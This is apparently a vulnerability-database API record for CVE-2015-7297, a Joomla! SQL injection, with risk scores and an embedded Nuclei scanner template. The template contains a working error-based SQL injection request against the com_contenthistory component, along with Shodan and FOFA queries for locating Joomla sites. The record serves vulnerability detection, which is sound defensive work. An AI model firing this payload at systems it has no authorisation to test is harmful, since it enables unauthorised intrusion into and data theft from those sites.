{"_links":{"capec":{"href":"/api/v1/vulnerability/cve-2015-7297/capec"},"cvss":{"href":"/api/v1/vulnerability/cve-2015-7297/cvss"},"cwe":{"href":"/api/v1/vulnerability/cve-2015-7297/cwe"},"enrichment":{"href":"/api/v1/vulnerability/cve-2015-7297/enrichment"},"gcve":{"href":"/api/v1/vulnerability/cve-2015-7297/gcve"},"self":{"href":"/api/v1/vulnerability/cve-2015-7297/enrichment"},"sightings":{"href":"/api/v1/sightings/cve-2015-7297"},"vulnerability":{"href":"/api/v1/vulnerability/cve-2015-7297"}},"enrichments":{"cisa-kev":{"kev":false},"epss":{"epss":0.99967,"kev":false,"percentile":0.99976},"nuclei":{"nuclei":true,"nuclei_template":"http/cves/2015/CVE-2015-7297.yaml","nuclei_template_severity":"high","nuclei_template_yaml":"id: CVE-2015-7297\n\ninfo:\n  name: Joomla! Core SQL Injection\n  author: princechaddha\n  severity: high\n  description: A SQL injection vulnerability in Joomla! 3.2 before 3.4.4 allows remote attackers to execute arbitrary SQL commands.\n  impact: |\n    Successful exploitation of this vulnerability can lead to unauthorized access, data leakage, and potential compromise of the Joomla! CMS.\n  remediation: |\n    Apply the latest security patches and updates provided by Joomla! to mitigate the SQL Injection vulnerability.\n  reference:\n    - https://nvd.nist.gov/vuln/detail/CVE-2015-7297\n    - http://developer.joomla.org/security-centre/628-20151001-core-sql-injection.html\n    - https://www.trustwave.com/Resources/SpiderLabs-Blog/Joomla-SQL-Injection-Vulnerability-Exploit-Results-in-Full-Administrative-Access/\n    - http://packetstormsecurity.com/files/134097/Joomla-3.44-SQL-Injection.html\n    - http://packetstormsecurity.com/files/134494/Joomla-Content-History-SQL-Injection-Remote-Code-Execution.html\n  classification:\n    cvss-metrics: CVSS:2.0/AV:N/AC:L/Au:N/C:P/I:P/A:P\n    cvss-score: 7.5\n    cve-id: CVE-2015-7297\n    cwe-id: CWE-89\n    epss-score: 0.99967\n    epss-percentile: 0.99976\n    cpe: cpe:2.3:a:joomla:joomla\\!:3.2.0:*:*:*:*:*:*:*\n  metadata:\n    max-request: 1\n    vendor: joomla\n    product: joomla\\!\n    shodan-query:\n      - http.html:\"joomla! - open source content management\"\n      - http.component:\"joomla\"\n      - cpe:\"cpe:2.3:a:joomla:joomla\\!\"\n    fofa-query: body=\"joomla! - open source content management\"\n  tags: cve2015,cve,packetstorm,joomla,sqli,vuln,vkev\nvariables:\n  num: \"999999999\"\n\nhttp:\n  - method: GET\n    path:\n      - \"{{BaseURL}}/index.php?option=com_contenthistory&view=history&list[ordering]=&item_id=1&type_id=1&list[select]=updatexml(0x23,concat(1,md5({{num}})),1)\"\n\n    matchers:\n      - type: word\n        part: body\n        words:\n          - '{{md5({{num}})}}'\n# digest: 4a0a004730450220610e3611f01953b68c63c589e4b82970e0fcef6ad213dcba93037adca9ddc5c3022100f5c0c17037fbb7a3e000dd9152e138b9b0bd72b41abf8e9cd660eb2d821e657e:922c64590222798bb761d5b6d8e72950"}},"vuln_id":"cve-2015-7297"}